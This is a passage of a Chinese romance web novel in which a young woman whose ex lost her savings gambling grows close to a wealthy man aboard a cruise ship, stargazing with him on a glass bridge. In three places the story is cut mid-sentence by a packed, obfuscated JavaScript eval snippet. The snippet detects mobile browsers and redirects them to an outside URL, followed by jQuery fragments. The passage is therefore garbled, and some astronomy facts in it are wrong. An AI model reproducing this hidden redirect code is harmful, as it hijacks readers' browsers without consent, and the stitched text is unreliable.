“早就想好了呀!”桑酒跳下吊椅,朝大海大喊,“不就是三十万吗,再赚就是了!” 这一次,她选择真正面朝大海,春暖花开。 “三十万?” 许是痛哭一场过后,桑酒的心情好了许多,也愿意敞开心扉,她回头,故作轻松。 “嗯,三十万,我男友……不,现在是前男友了,在我生日这天,偷偷去澳城赌钱,输了我三十万,那是我们拿来创业的资金。” “之前准备做什么的?” “开一家酒馆,葡萄酒那种。” “难怪,你这么能喝。”孟苏白笑,他就没见过几个人,喝下三杯LOT.518,还能绞尽脑汁安慰别人不要“轻生”的。 “我也很少喝酒的,”桑酒再一次心虚解释,“平常和朋友们去的酒吧,我都不太喜欢,所以想自己当老板,开一家喜欢的酒馆,能舒舒服服、自由自在喝酒。” 她天生没有其他优势,唯有一股要死不活的傲气,受够了看人眼色做事,静待翅膀变硬,就想当个不受管教的老板试试。 “这个目标很好。” “谢谢,”桑酒笑,又说,“不过说来可笑,我早就有预感,和他一起创业肯定会失败,只是我没想到,会以这样的结局告终。” 还没开始,就已经结束了,就像一段猝不及防的感情。 “还是那句话,我可以帮你。” 人生总有绝境的时候,或许三十万对他来说,不过一场帆船比赛的奖金,但对一个还在社会上摸爬滚打的小姑娘来说,大概是她努力了很久很久,才积攒下来的。 孟苏白不知道,如果自己直接提出给她三十万,会不会太唐突,但这些年,他也做过一些慈善资助,只是面对面资助,还是第一次,他担心会伤到小姑娘自尊。 毕竟,这是一个自尊心极强的小姑娘。 作为一个无意窥探了别人秘密的人,他无法做到视若无睹,既然她有恩于自己,那他也愿意在力所能及的范围内,帮她解决问题。 三十万,对如今打算脱离家族的他而言,也不算棘手。 孟苏白抬起手腕,盯着那块奢华的帕玛强尼。 好像也没有那么不舍。 “不用!”桑酒却果断拒绝了他。 他们什么关系啊? 认识不过两天,他就要帮她还债,这简直太匪夷所思了。 天上掉馅饼,还是黄金馅的! 桑酒不相信这种事情会落到她头上,更何况,她从小就知道,对男人手心向上,得到的糖果再甜再漂亮,也是淬了毒的。 妈妈血淋淋的人生遭遇已经告诉她,尤其是面对这种外貌极品的男人,更要远离才好! 因为他们本身就自带毒性。 且无解! “苏先生,你帮助我已经很多了!如果连这种事都要别人帮忙,那我以后拿什么保护家人呢?” “保护家人?”孟苏白有些意外。 她明明才刚满二十岁,还是个小姑娘,身上就有这么大的负担了吗? “嗯,”提起加入,桑酒神色便柔和了许多,“我想给她们好的生活,所以必须赚好多好多钱,不过您放心,三十万对我来说,也不是什么大事,我肯定能挣回来的。” 她十四岁出来工作,十九岁还完债,二十岁准备创业,虽然还没开始就失败,但桑酒始终觉得,自己是有收获的。 至少从现在开始,可以彻底远离烂人,开始一个人的生活。 “很神奇,这一刻,我竟然懂您说的,自由。” 桑酒很讨厌从前的生活。 年少无知,她负气背井离乡,被同村的大姐带到大城市赚大钱——白天在拥挤黑暗看不见日光的城中村出租房里睡觉,晚上浓妆艳抹穿着漂亮的工作服穿梭在灯红酒绿的会所,哪怕只是一个普通最底层的服务员,在那种地方也是没有尊严的。 当时三禾也说过,以她的性子,在那种地方根本待不了多久的。 果不其然,没过多久就出事了。 再后来,她虽然重新找了一份稍微正经的工作——销售红酒,但也是看别人脸色而活。 在那里,想成为销售冠军,就得会喝酒,想全身而退,还必须练成千杯不醉! 其实刚刚桑酒没有说实话,她想开一家酒馆不仅仅是想当老板,而是从踏入社会开始,就被圈进了一个小圈子,她没有别的生存之路,仅有的一技之长,就是天生酒量好。 而被迫喝酒和自由喝酒,是两个概念。 “那你的酒馆还开吗?” “当然开,”桑酒无奈笑,“而且我想通了,以后绝不找人合作,还不如单干来得痛快。” “确实,”孟苏白颔首,“很多时候,一个不靠谱的合作伙伴,比一个强大的对手还要可怕。” 桑酒想起了一句话:“不怕神一样的对手,就怕猪一样的队友!” 此刻她也想通了,有句老话怎么说来着,失败乃成功之母! 踢走一个蛆虫李佑泽,未必不是另一种进步! 还没开始就失败,总比忙碌到最后毁于一旦的损失小一点。 想开了,压在心头的沉重石头自然轻一些。 “当然,有梦想是好的,”孟苏白却话一转,又说,“不过你可能要认清一个现实,如今在国内,红酒算是一个冷门行业,尤其在白酒、啤酒和即饮饮料的三面夹击下,几乎断崖式消失,如果只是单一的葡萄酒馆,你很有可能在客源单薄和生意冷淡之中,消耗掉你对红酒的热情。” 这个问题,桑酒也有想过。 她原本以为,热爱可以胜过一切。 可此刻他的一番话,几乎是让她醍醐灌顶,瞬间明白了现实的残酷,毕竟只有能挣钱的,才能一直保持热情。 “你有没有想过,在经营酒馆的同时,精细化你的客源,主动出击,线上线下同时寻找高质量目标,将一次性客户转化为高复购、高粘性和高转介绍的忠实用户……” 在这个宁静又波澜的清晨,桑酒从男人口中又学到了不少新知识。 原来只是爱喝酒、懂酒,还不足以支撑她长长久久经营一家酒馆,她必须要有自己不断壮大的私域客源才行,而这种客源不是仅仅拥有一家酒馆就能解决,普通人对红酒的执着一般不深,尝个鲜就足矣,真正的高价值用户,是跟社交有关,譬如高端餐厅、私人会所、企业公司年会,以及大大小小各种宴会场所,她需要做的,是在这些人群里,精准找到潜在用户,而后才是运营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742567|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推广,拥有自己的客户人脉。 “当然,要打入这类社交,你需要学习的东西,还有很多,”孟苏白目光柔和望着她,说,“但你还年轻,还有机会。” “不会迟吗?”桑酒听得入神,单手撑着下巴看他,有些迟疑。 这些年,她只有一个目标——赚钱。 从来没有人跟她说,她应该停下来,去学习,去充实自己。 “当然不会,”孟苏白抬手敲了敲她额头,“凭你在旅行途中都会做笔记学习这股干劲,做什么都会成功的。” 桑酒愣住,反应过来他大概是看到她的笔记本了。 “而且,你的抗压能力,也是我见过最强的。” 桑酒瞬间忍不住笑了:“我都不知道,你这是在夸我,还是在损我。” 孟苏白微笑:“夸你。” 桑酒有一瞬失神。 随即转头,将目光从他脸上移到远处的海面。 或许他永远也不会知道,他夸她的这一刻,神圣得可怕。 清风拂来,邮轮切开绸缎般的波浪,成群的海豚正在海面凫水,一行海鸥则掠过浪花,咸涩的海风吹来,满满自由惬意的味道。 “以后,等我的酒馆做大做强了,第一个要感谢的人,就是您!” “是么?怎么感谢我?” “当然是——请您喝酒!喝最好的酒!” 孟苏白唇边笑意更深:“好。” 好像不知从何时开始,他落在她身上的目光才,从怜悯转变为欣赏,甚至是……吸引。 “那您呢,接下来什么打算?”桑酒扭过头,看向他。 不期然撞上他视线,像是沉浸在一种欣赏之中,桑酒心跳莫名漏了一拍似的,也不知他为何有些出神。 “苏先生?” 孟苏白猛然回过神,深邃的眼眸仿佛这一刻才定格。 少女撑着下巴凭栏而立,慵懒随意的黑色西装,凌乱的发迎风飘舞,金色阳光照在笑容清浅的脸庞上,呈现出一种近乎神圣的干净纯粹,坚定又无畏——那是荆棘丛长出来的一枝玫瑰,正迎风肆意生长。 “纽约。” 孟苏白第一次感受到心神不定的滋味,那种无法捕捉的情绪从心底蔓延,远比失控的帆船更令人心悸浮躁。 “纽约?”桑酒诧异,“可浮屿号不是去日本的吗?” 孟苏白默了几秒,才解释说:“在东京下船,然后飞去纽约。” 此时此刻,老爷子肯定翻遍了整个港城,也定然派人去慕尼黑寻他了,但谁也不会想到,他已经在贺家的邮轮上,准备前往纽约,年后就去肯尼亚任职。 “这样啊……” 不知为何,刚才还轻松的氛围,骤然变得有些伤感起来。 对桑酒而言,日本已经很远了,纽约更是遥不可及。 这次航海旅行,或许已经是她能走过最远的地方。 她问:“那你以后……都不回来了吗?” 孟苏白点头。 至少这几年,是不会了。 桑酒抓着栏杆,指尖有些泛白。 也就是说,两天后,他就会离开。 他们不会再见。 不知为何,刚才还朝气满满的胸腔,突然变得有些沉,像是洒了一些小石子,一粒粒,一层层压下来,沉甸甸的,怅然若失。 但又没那么难受,甚至有一点点无法发觉的欣慰。 他们本就是两个世界的人,起点不同,终点也不同。 要说唯一的交集,便是此刻在脸颊吹拂的同一缕风。 8. 第 8 章 下午三点,睡了一觉的桑酒自然醒,洗漱完换回自己干净的衣服,准备出门吃点东西。 拉开房门,便瞧见Chris站在通道处,一脸神情郁郁,直到见她出来,眼里才猛然绽放一丝光。 “Romy!” “你也住这儿?”桑酒十分意外。 “NoNoNo!”Chris摇头,开什么玩笑,这一层的套间,都是可遇不可求的,他哪怕再有钱,没有人脉也买不到这样顶级的套房。 “我在等你!你电话怎么不回我?” 桑酒愣了一下,无奈笑说:“抱歉,我手机没网络了。” 经过一天一夜的航行,浮屿号已经进入公海,她手机也彻底断了网。 不过这样也好,原本还心烦一堆信息和电话,现在与世隔绝,两耳清净,她也懒得找管家要房间WiFi密码。 “那我们的拍摄计划怎么办?”Chris一脸无语。 “啊——” 桑酒这才想起,早上Chris想请她做摄影模特,而她又恰好想跟他请教红酒知识,两人一拍即合,不但成了游玩搭子,还能互惠互利,各取所需。 “没关系,”桑酒打起精神,大步往前走,“反正你也知道我住这儿。” 邮轮上的娱乐设施让人应接不暇,每一层甲板都有不同的风景、美食餐厅和娱乐设施,从露天游泳池到施华洛钻镶嵌的水晶天梯,每一处都透露着极致奢华,仿佛一座漂浮在海上的宫殿,应有尽有,很多项目不是VIP客户很难预约上,但有了孟苏白那张VIP卡,他们可谓是畅通无阻。 按照邮轮旅行指导,两人一边打卡米其林星级餐厅,一边尝试体验一些的刺激游戏,海上过山车、滑水道……抛至云端的每一刻,桑酒都觉得自己会死在这儿,然而下来后又是鸡血满满,Chris已经两条腿软得直打颤,她还迫不及待在查看下一个项目时间。 “Oh My God!”Chris扶着栏杆,就差吐海里了,“我快死了——Romy你能不能歇歇?” “歇!马上歇!”桑酒回头,扬了扬手里的音乐剧票,笑得无邪,“我们先去吃个晚餐,晚上七点到九点半看话剧,到十一点半去灯塔看星星。” Chris弯腰叹气:“Romy,你怎么一点反应都没有?” 能一个极限项目不落,且还如此镇定自若的人,他一圈看下来,真没发现有几个,Chris还是第一次见到内心如此强大的女人。 桑酒看着眼前一米八大个的男人瘫痪在地,也是笑得岔气:“怎么没有?我恐高,腿也打颤了。” “那你还要去灯塔?”Chris看过,那个项目明确标注了,恐高、高血压以及心脏病患者不能参与。 “挑战一下自我不好吗?” “会要了我的命。” “不会,”桑酒安慰他,“眼睛一睁一闭就过去了,反正横竖最后会安全下来。” “这么可怕的事情,你怎能说得如此轻松?”Chris一脸无奈。 桑酒:“也许是因为,我体验过更可怕的瞬间吧。” 毕竟,极致的死亡体验,才能真正感受到活着的可贵。 就像被灼伤过的人,永远会记得远离火源,被狗咬过的人,遇见多可爱的小狗都要绕道三里路,而她尝试过濒临死亡的恐惧,所以这些刺激只是提醒她,要珍爱生命,要远离男人。 Chris听不懂,只一味对她竖起大拇指:“牛!” “那你还去不去?” “去去去,”Chris勉强爬起来,“你们中国有句话怎么说来着,舍命陪君子,而且我还准备好了无人机,要给你拍照呢。” 桑酒拍了拍Chris肩,用刚回到脑子的英语鼓励他:e on!” “对了,你的朋友们呢?” “什么朋友?” “就昨天,我们不是喝醉了吗,还是你一个朋友把我扛回房的,说你另一个朋友送你回去了。”Chris回想了一下,“那位Carson先生!” 桑酒:“他们……不是我朋友。” “What?不是朋友?” “嗯,不管他们了,”桑酒甩了甩心头的遗憾,决定不去正视,“走吧,音乐剧要开始了。” 音乐剧还算精彩,因为VIP客户的原因,两人还被特意安排坐在第一排正中央的位置,与台上演员只有不到两米的距离,但桑酒看了一半就开始昏昏欲睡,大概是折腾了一天,体能有些耗尽,又或许是这些高级的节目实在无福消受,一不留神,她就打了个盹儿。 等被Chris拍醒时,演员们已经落幕致谢完毕,周边的人也走了七七八八。 “抱歉,我……” 她好像又上了一节久违的原版英语课。 “你不用跟我道歉,”Chris盯着她,“你应该跟台上的演员道歉,刚刚男主角还过来,要跟你互动来着,看你实在睡得太香……” 桑酒一个鲤鱼打挺,猛然站起,朝台上看去:“男主角?你是说那个长得像杰克逊船长的男主角?” 要死了! 在别人眼皮子底下打瞌睡,这不是砸场子是什么? 但更可怕的是,从帷幕后走出来的杰克逊船长男主角,突然摘了海盗帽向她走来。 桑酒顿觉寒毛竖起,拉起Chris就往外跑。 直至到了甲板上,确定人没有跟来,桑酒才弯着腰气喘吁吁:“吓死我了!Chris!你怎么不叫醒我?” “Romy,竟还有你害怕的时候?” 桑酒:“不是害怕,是社死好吗!” “社死?什么是社死?” 桑酒:“……” 她花了几分钟时间,跟他解释什么叫社会性死亡。 “就是那种……尴尬到你能用脚趾头挖出一个地洞,然后自己钻进去把自己埋了的感觉。” 然而,汉语词汇贫瘠到可怜的Chris无法理解这种死法,只是感到安慰,说:“所以,你也是胆小鬼?” “Chris,上了灯塔,才知道谁是胆小鬼。” 许是混熟了,桑酒也学会挑衅他。 Chris哈哈大笑,为她走出悲伤感到高兴。 - 但等到十一点,顶层甲板的观星塔前,Chris笑不出来了。 那是一条长长的、延伸在甲板之外、垂直悬在海面四十米高处的玻璃桥,或者不能称之为玻璃桥,因为玻璃桥的另一端并没有支撑点,而是一个巨大的球形玻璃观星室,玻璃桥有点长,全程三百六十度透明,仔细看才能发现玻璃桥上方用斜拉索固定,像帆船桅杆那样,多角度钢索分散应力。 他们乘坐电梯上了灯塔,排队等候,一眼望去,桑酒想起曾在电视上看到过的高科技——中国空间站的机械臂,这一刻的恐惧感不亚于站在机械臂上俯瞰整个太空。 “Sorry,”Chris捂住胸口,脸色煞白:“我突然想起,我有心脏病。” 桑酒回头看他。 他又揉了揉太阳穴:“不……我还有高血压!” 桑酒蹲下身,开始套鞋套。 “呜呜——Romy,我真的做不到……我要回家继承我爸妈的酒庄!” 桑酒起身,摇头叹气。 Chris说过,他作为一个堂堂酒庄继承人,却因为酒量不好时常被同行取笑,所以选择环游世界做自己喜爱的事情——摄影,他父母怎么恳求他也没用。 果然,有钱人就是任性! 尽管工作人员已经做了多番心理工作,Chris还是无法打破心理恐惧,在最后一秒选择退出。 “亲爱的,我去灯塔下面控制无人机,给你拍照行不行?”退出玻璃桥后,Chirs恢复理智,摆弄起他那套十几万的摄影装备,“哪怕炸机,也保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742568|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你拍出科幻大片!” 桑酒也没有为难他,工作人员建议再找一个同伴组队,她直接拒绝了,义无反顾,一人走向海上云端。 邮轮前行时,巨浪拍打着船身,带动着玻璃桥摇摇晃晃,那红的绿的灯光,也是一闪一闪,站在上面的人可以说是踩在高空中的钢索上,孤立无援,每一秒都在挑战心理防线。 原本这个项目就是两人一组的,能相互扶持鼓舞打个气,但搭档临阵脱逃,桑酒又不想错过这次体验,后面还有不少人排队等着,她只能继续前行。 横竖死不了,闭着眼走完全程,也够她吹一辈子了! 然而,刚信誓旦旦踏出第一步,也不知道是不是心理作用,她感觉有一个巨大海浪扑来,然后身体毫无防备一个踉跄,心直接跳到嗓子眼,眼睛也下意识睁开。 幽暗的灯光下,巨浪滔天。 这一刻,恐高外加深海恐惧症齐齐被唤醒,她的身体剧烈地抽搐了一下,心早已跳到嗓子眼,跟死了一般无法跳动,眼睛也开始不受控涌出泪。 脚下是万丈深渊,被无尽的黑暗吞噬着,巨浪如怪兽在咆哮,泛着紫色和绿色的光。 而她是跌撞于深渊之上的折翼蝴蝶。 即便是无底深渊,下去,也能再次翱翔天际! 桑酒咬紧牙关,闭上眼,努力调整心态,不去看海底脚底下海浪翻涌的画面,躬身扶着玻璃桥,以毫米的龟速前行。 这就是不折不扣的,人在走,魂在抖。 “Chris,等下去……我……我再跟你……算账!” 只有二十分钟的观看时间,不能浪费在前进的道路上。 “吱——” 也不知道哪里摩擦发出的声音,仿佛一道催命符,她吓得蹲下身,差点哭出声。 这不是追求浪漫的观星塔,这纯纯一架空中鬼屋! 桑酒不敢往前看,也不敢往后看,更不敢往下看,生怕看到什么瘆人的画面,可这一刻想象力疯涨,往日看的那些鬼片,铺天盖地袭来,身后早已没了Chris的声音,只有毛骨悚然的寂静回荡。 她甚至不敢哭出声,因为回音会在耳边缠绕,更像女鬼索命。 “老天爷,我还不想死,我还想赚好多好多钱,我还没好好享受生活,没有跟超级无敌大帅哥谈恋爱……” 桑酒开始语无伦次,努力想象帅哥的面庞来弥补一下害怕,脑子却一片空白,无法定格。 她抬起右手胡乱摸索着,想去扶玻璃桥,却突然被人一把握住手心。 “啊——”桑酒本能尖叫出声,却在回头看清楚身后人时,又惊得说不出话来,“你——” 原来,这不是空中鬼屋,竟是许愿桥! 孟苏白那张帅得人神共愤的脸赫然出现在她身后,他身材高大如一堵墙,矜贵俊雅又气质沉稳,桑酒蜷缩在他的身影下,无端生出一种安全和救赎感,那股惊悚的念头也瞬间消散。 所以,长得帅真的可以驱赶恐惧。 “怎么一个人?” 孟苏白声音不大,却仿佛穿透了玻璃桥的沉闷,直直传入她的耳,很温柔,却格外不真实。 桑酒怔然起身,男人顺势将她拉起。 没有放开手。 仿佛感觉到她全身在颤抖,握得更紧了些。 她面色苍白抬头看他时,他也正垂眸看她。 玻璃桥逼仄,光怪陆离在他眸底映射出一种极致的美,犹如翡翠般温润如玉,又透着一丝冷峻的清雅。 徐志摩笔下的翡冷翠,大抵如此绝美。 桑酒看得入神,想开口却鼻尖一阵酸。 她滞了一下:“……苏先生。” 桑酒不知道该如何解释,自昨日阳台之后,她其实不太想见到他,总觉得有什么在不受控地,悄然滋养。 就像这一刻见到他,她那颗凉透了的心脏,突然活过来似的。 疯狂跳动。 9. 第 9 章 比起阳台的惬意,狭窄封闭的空间、晦暗不明的灯光,更能让人气息暧昧。 尤其是此刻,他紧紧握着她的手传递力量与温度,而她也只有他的身体可以依靠。 悬在半空中的世界,一片寂静幽深,放眼望去,茫茫宇宙,仿佛只有他们彼此。 “您……怎么来了?” 桑酒站稳,不敢与他多对视哪怕一秒。 这一刻,心乱打败了恐惧,她被他牵着,徐徐前行。 孟苏白脚步很平稳,完全不受高空和深海恐惧,先是跟她道歉:“抱歉。” “嗯?”桑酒扭头看他。 该死的三百六十度悬空,除了他这张脸,焦点落在任何一个角度都会被黑暗吞噬。 孟苏白继续说:“Carson想找你喝酒,所以查了那张卡的消费记录,知道你要来看星星。” “哦——没关系,”桑酒尴尬一笑,“那天我不是故意不加他微信的。” “嗯。” “我是手机没网络了。” 恰好又没电。 “我知道。” 桑酒睫毛一颤,才明白那日他没有让Carson继续追问,其实是在帮她解围,不让她尴尬。 “你可以让管家帮你开通漫游。”孟苏白贴心提醒,也算是特意转移话题,让她不再恐惧。 “不用。”桑酒却摇头,“其实,我挺喜欢现在这种失联状态!” 在这里,没有网络的手机,不再是情感寄托的介质,没有信息打扰、没有不该有的期盼、没有百无聊赖的小视频,只是一个记录每一刻生活的工具。 “就不担心,有人找你?” 桑酒笑了笑,没说话。 孟苏白看着她,眼里不自觉闪过一丝心疼。 她说那晚是第一次被人看见哭,那她在亲人朋友面前,得是个多坚强的姑娘,才会在一夜之间背负三十万债后,也没有人想过要陪伴一下? “到了!” 桑酒惊喜的声音,打破了沉寂。 短短的百米距离,他们好像走了一个世纪,又仿佛只一瞬,就到达了终点。 “你好像……一点都不害怕。” 而此时,桑酒已是浑身战栗,若不是有孟苏白相扶,她估计最后只能爬着走过来。 再看孟苏白,却是一脸云淡风轻,如履平地。 沉稳得可怕。 “当然害怕,”孟苏白唇边挑起一抹弧度,依旧没有松开她的手,“不过是我的自尊心,不允许我在一个女孩子面前懦弱。” 这话听着,咋那么耳熟? 待想起是昨天自己的豪言壮语,桑酒不禁笑得眉眼弯弯。 “不过,”孟苏白又说,“怕也没用,反正无论如何也不会掉下去,何不好好看看上面的风景?” 桑酒:“对恐高患者说这样的话,不太厚道哦。” “既然知道自己恐高,为什么还要选择这么危险的活动?”他问,语气里不掩担心。 “所以,你是怕我出事才过来的?” 桑酒也没想到,那晚在维港,一句无心之话,会让他记住,不禁有些惊讶。 孟苏白侧过脸,淡声说:“出了事,游轮也要负责的。” “哦。”桑酒心底涌起一股说不清道不明的失落感,她敛眸,“我也……没那么害怕的。” “我知道。” 桑酒抬头看他。 “你已经很厉害了,”孟苏白说,“当你选择上来的那一秒,就已经克服了恐高之症。” 桑酒忍俊不禁。 “你这样说,”她说,“我就当你夸我了。” 孟苏白笑着点头,牵着她手,一同进了观星室。 观星室是一个球形玻璃舱内,里面灯光更加灰暗,虽然不再是瘆人的紫和红交替,但一眼望去,肾上腺素直接飙升,里面的人就好像身在一个透明泡泡内,而这个泡泡正悬浮在半空中,头顶苍穹,脚跨海面,宛如神话中的腾云驾雾,一般人都难以承受,更何况她这个恐高症患者。 桑酒下意识抓紧了孟苏白手臂,眼睛根本不敢往下看。 但好在球形舱内部稳定性非常好,完全不似玻璃桥那般摇摇晃晃,桑酒看过这个观星塔的整体设计介绍,说是球舱内部使用了什么独立陀螺仪的抗摇系统,即使邮轮在8级风浪中倾斜15°,观星室内晃动仍可压制在0.3°以内,这在人类无感阈值之内,也难怪站在里面,再没有那种令人腿软的眩晕感。 “开始吧。”孟苏白提醒她。 桑酒扶着固定在正中央的双筒望远镜站稳,极力忽略掉四周的失重感,俯身靠近目镜。 “怎么什么都看不到?”她眯着眸看了半天,视野里一片模糊。 她怀疑是自己的手颤抖,导致眼皮发跳看不清。 “我看看。”孟苏白从她身后靠过来,弯腰看了一眼,“没有调好焦。” “啊?”桑酒抬头,一脸懵。 “应该是上一个观测者调乱了,没关系。” 孟苏白抬起手,搭在调焦手轮上,慢慢转动,手臂自然而然越过她肩,擦过她耳。 冰冷还带着海风气息的冲锋衣磨砂面料贴在她脸颊,但只一瞬,又被他身上独特的气息覆盖、笼罩像是感受到了他的体温,温热瞬间渲染桑酒整个耳廓,灼灼的。 而桑酒也因为他的靠近,身体逐渐平缓下来,仿佛身后有了一座可以依靠的大山。 不一会儿,目镜中的夜空越来越清晰,不一会儿就定焦了,“好了。” 孟苏白头稍稍后退,给她腾出观看位置,身体却纹丝未动,双臂微曲将她护着,像是随时要准备下一步动作。 桑酒没有多想,脑袋迫不及待凑了过去。 慵懒的丸子头,毛茸茸的发划过男人下巴。 “哇哦!真的好多星星!”她惊喜出声。 漆黑夜空里的满天星,比平日肉眼抬头所见更加清晰闪亮,让人目不转睛。 而她看不见的地方,孟苏白下巴动了动,那酥痒更加难耐。 “很漂亮。” 在桑酒再次感叹后,孟苏白情不自禁又俯身贴过去,沉声询问,“还有更漂亮的,想看吗?” “当然。” 桑酒一脸期盼。 没有发现他气息有些克制不住的乱。 却在转头的一瞬,额头猝不及防撞上男人高挺的鼻梁,鼻尖轻轻划过眉心的那一刻,她甚至能清晰感受到他鼻梁坚韧中带着柔软,像毛笔一样在她肌肤上作画,唇瓣的微热的呼吸,一同扫过。 桑酒瞪大了眼,连呼吸都仿佛被按下暂停键,与他四目相对。 毫厘之距。 清冽的雪松气息,铺天盖地吸入鼻腔。 桑酒脑海里突然冒出一句话,喜欢一个人,会先喜欢他身上的味道。 不知为何,跟他接近多了,她好像什么也听不到了,只听到她的心跳。 她不知道他是否有听到。 这种心跳声,会让她血液加速流淌一般,冲上脸颊,燥热难耐。 像是将她架起,文火慢炖。 失神的片刻,桑酒也明显感觉到他的身体有些紧绷,但也许是错觉。 因为在她回过神目光躲闪后,孟苏白已经淡然自若去调寻星镜了。 “满天星固然漂亮,但能从银河系中找到自己喜欢的星星,才是观星者真正浪漫所在,”他侧目,没有看她眼里比星星还要亮的眸光,“想看哪颗星?” 桑酒下意识咽了咽口水。 如此耀眼的男人,近在咫尺。 就问有谁能做到毫不心动吧。 显然她不能。 “北极星?”她脱口而出。 九年义务教育出来的漏网之鱼,也只记住这一颗星的名字。 “好,”孟苏白弯了弯嘴角:“北极星很好找,要不要试试?” “我?” 桑酒还在疑惑中,孟苏白已经拿出手机,娴熟地架在望远镜上,也不知道他连接了什么,屏幕上很快显示出此刻的星空,桑酒顿时惊讶得说不出话来,孟苏白则抬起她的手,一同搭在寻星镜上,又示意她去看目镜,他则抬眉用肉眼看了眼夜空,大致确定好方向,握起她的手轻轻调节上下转轮。 “认识北斗七星吗?”他问。 桑酒:“那个……勺子?” 孟苏白笑了一声:“嗯,能看到吗?” “等……等一下……”桑酒极力去辨别,得亏她5.0的视力,好一会儿才在数亿星河中,发现了最亮的那个勺子,“找到了!” 孟苏白停止转动,凑过去看手机屏幕,确认无误,嗯了一声,又带着她的手往下调:“从北斗七星的勺子外边这两颗星——天枢星和天璇星,垂直下来,大概五倍的距离,你会看到一颗特别亮的星……” “找到了!”桑酒下意识反手抓住他的手,阻止他继续转动。 孟苏白顿了一下:“那就是北极星。” “我怎么看着……好像有两颗?” “这么厉害?”孟苏白挑眉低笑一声,随即解释,“确实,北极星不是指一颗星星,它实际是三合星系统,你现在看到的一大一小两颗分别是北极-A和北极-B,还有另一颗北极-AB黄矮星很难看到,得用天文台的望远镜才行,不过,北极星也不是永远一成不变的,大概一万四千以后,会被更明亮的织女星替代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742569|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他声线实在好听,像专业解说员,贴在她耳畔低语,桑酒不禁听得入迷,又莫名有种听睡前小故事的感觉。 “你地理一定学得很好吧?”桑酒不禁笑问。 可下一秒又想,他这样的人,应该什么都学得很好吧,简称无所不能! 孟苏白说得却很谦虚:“读书的时候,经常跟朋友一起去户外探险过,所以对星系略懂一二。” 桑酒看他那操作熟练程度,完全不是略懂一二的程度。 不过,认真工作的男人,确实赏心悦目。 看完北极星,孟苏白又带着她看了冬季最美的银河。 “冬季的星光比较淡,但天空更加清澈,所以星座轮廓会更加分明,”他一边调节,一边教她在APP上识别星座,“你从这边开始,穿过御夫座、双子座、猎户座……” “如果是夏季银河会更漂亮,星团更密集,星光也更加明亮,就像……维港的烟花一样璀璨。” “没关系,现在这样就很好了,能看到最耀眼的星!”桑酒说,“如果都是一片璀璨,反而失了乐趣。” 孟苏白不禁莞尔:“好像是这个理。” “可以看看我的星座吗?”桑酒此刻就看出了乐趣来,毕竟,比起看别人拍好的照片,自己透过望远镜亲自瞧见的,别有一番成就的滋味。 “什么星座?” 桑酒眨了眨眼:“摩羯座。” “当然。”孟苏白点头,去调整镜头。 他似乎对星空十分了解,说起摩羯座也是娓娓道来:“摩羯座在人马座以东,宝瓶座以西。” 知道她不认识人马座和宝瓶座,他直接拿出手机,搜了一些照片给她做对比,一边比画,一边解说。 “这里是人马座,这里是宝瓶座,再由织女星往牛郎星方向,再延伸一倍距离,可以找到两颗三等星。” 桑酒凑过去,仔细辨认,不禁呼声:“看到了!” “这就是摩羯座的头部,往上可以看见摩羯座倒三角轮廓……” 观星室与世隔绝,听不到外界任何声音,唯有他的声音和气息,在萦绕耳边。 突然,头顶一声“叮咚”,有语音播报响起,提醒他们观星时间还剩最后十分钟,注意留下返回时间。 桑酒转过身,和孟苏白面对面。两人气息在那一刻彼此交融。 “你……你什么星座?” 不似刚才那般坦然,桑酒扶着望远镜的手指紧了紧。 可她忘了,自打进了这观星室,孟苏白就没有放开过她的手。 孟苏白明显感觉到她的紧张了,下一秒,便有意无意,将她手握得更紧了些。 桑酒没说话。 只希望,他是真觉得她的恐高症还没消失。 孟苏白想了想:“室女座。” 很久以前,贺煜闲来无事给他算了一下,说他这种典型的处女男,谈不到女朋友。 “在哪个方向?”桑酒故作轻松问,尽力忽视因手背传递过来的温热,而产生的异样情愫。 “室女座位于天球赤道附近,不过最佳观测期在春季至夏初,现在看有些暗,”孟苏白一边调整望远镜头部,一边给她看,“从摩羯座最亮的垒壁阵四星出发,经过人马座、天蝎座和天平座,才能到达室女座,看到那个Y字形没有?就是它。” “嗯。”桑酒隐约瞧出了些轮廓。 孟苏白又给她解说:“室女座星系是离地球最近的星系,编号M31,如果夜空晴朗的话,我们肉眼也可以看见,不过用望远镜曝光越久,看到的越清晰。” 桑酒觉得他谦虚了,能这样信手拈来,可不是略懂一二那么简单。 她凑过去看,漆黑夜空里繁星点点,正中央一团如云雾般神秘的椭圆形状,仿佛一个透明的UFO,孟苏白说里面有数亿万颗星星,真是神奇又美妙。 “时间有限,只能给你先看看曝光60秒的效果,以后有机会……” 孟苏白忽然顿住。 